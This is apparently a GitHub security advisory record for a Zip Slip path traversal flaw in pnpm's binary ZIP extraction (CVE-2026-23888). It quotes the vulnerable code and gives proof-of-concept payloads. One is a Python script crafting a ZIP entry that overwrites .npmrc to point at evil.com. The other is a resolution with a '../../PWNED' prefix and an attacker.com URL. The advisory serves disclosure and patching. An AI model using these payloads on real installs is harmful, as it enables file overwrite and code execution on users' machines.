{"id":"GHSA-6pfh-p556-v868","summary":"pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)","details":"### Summary\n\nA path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`.\n\n### Details\n\nThe vulnerability exists in the binary fetching and extraction logic:\n\n**1. Unvalidated ZIP Entry Extraction (`fetching/binary-fetcher/src/index.ts`)**\n\nAdmZip's `extractAllTo` does not validate entry paths for path traversal:\n\n```typescript\nconst zip = new AdmZip(buffer)\nconst nodeDir = basename === '' ? targetDir : path.dirname(targetDir)\nconst extractedDir = path.join(nodeDir, basename)\nzip.extractAllTo(nodeDir, true)  // Entry paths not validated!\nawait renameOverwrite(extractedDir, targetDir)\n```\n\nA ZIP entry with path `../../../.npmrc` will be written outside `nodeDir`.\n\n**2. Unvalidated Prefix in BinaryResolution (`resolving/resolver-base/src/index.ts`)**\n\nThe `basename` variable comes from `BinaryResolution.prefix` and is used directly in path construction:\n\n```typescript\nconst extractedDir = path.join(nodeDir, basename)\n// If basename is '../../evil', this points outside nodeDir\n```\n\n### PoC\n\n**Attack Vector 1: ZIP Entry Path Traversal**\n\n```python\nimport zipfile\nimport io\n\nzip_buffer = io.BytesIO()\nwith zipfile.ZipFile(zip_buffer, 'w') as zf:\n    # Normal file\n    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\\necho \"legit node\"')\n    # Malicious path traversal entry\n    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\\n')\n\nwith open('malicious-node.zip', 'wb') as f:\n    f.write(zip_buffer.getvalue())\n```\n\n**Attack Vector 2: Prefix Traversal via malicious resolution:**\n\n```json\n{\n  \"resolution\": {\n    \"type\": \"binary\",\n    \"url\": \"https://attacker.com/node.zip\",\n    \"prefix\": \"../../PWNED\"\n  }\n}\n```\n\n### Impact\n\n- All pnpm users who install packages with binary assets\n- Users who configure custom Node.js binary locations\n- CI/CD pipelines that auto-install binary dependencies\n- Can overwrite config files, scripts, or other sensitive files leading to RCE\n\nVerified on pnpm main @ commit `5a0ed1d45`.","aliases":["CVE-2026-23888"],"modified":"2026-02-03T03:06:45.887995Z","published":"2026-01-26T21:02:49Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-01-26T21:02:49Z","nvd_published_at":"2026-01-26T22:15:56Z","cwe_ids":["CWE-22","CWE-23","CWE-426"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23888"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.1"}],"affected":[{"package":{"name":"pnpm","ecosystem":"npm","purl":"pkg:npm/pnpm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.28.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-6pfh-p556-v868/GHSA-6pfh-p556-v868.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}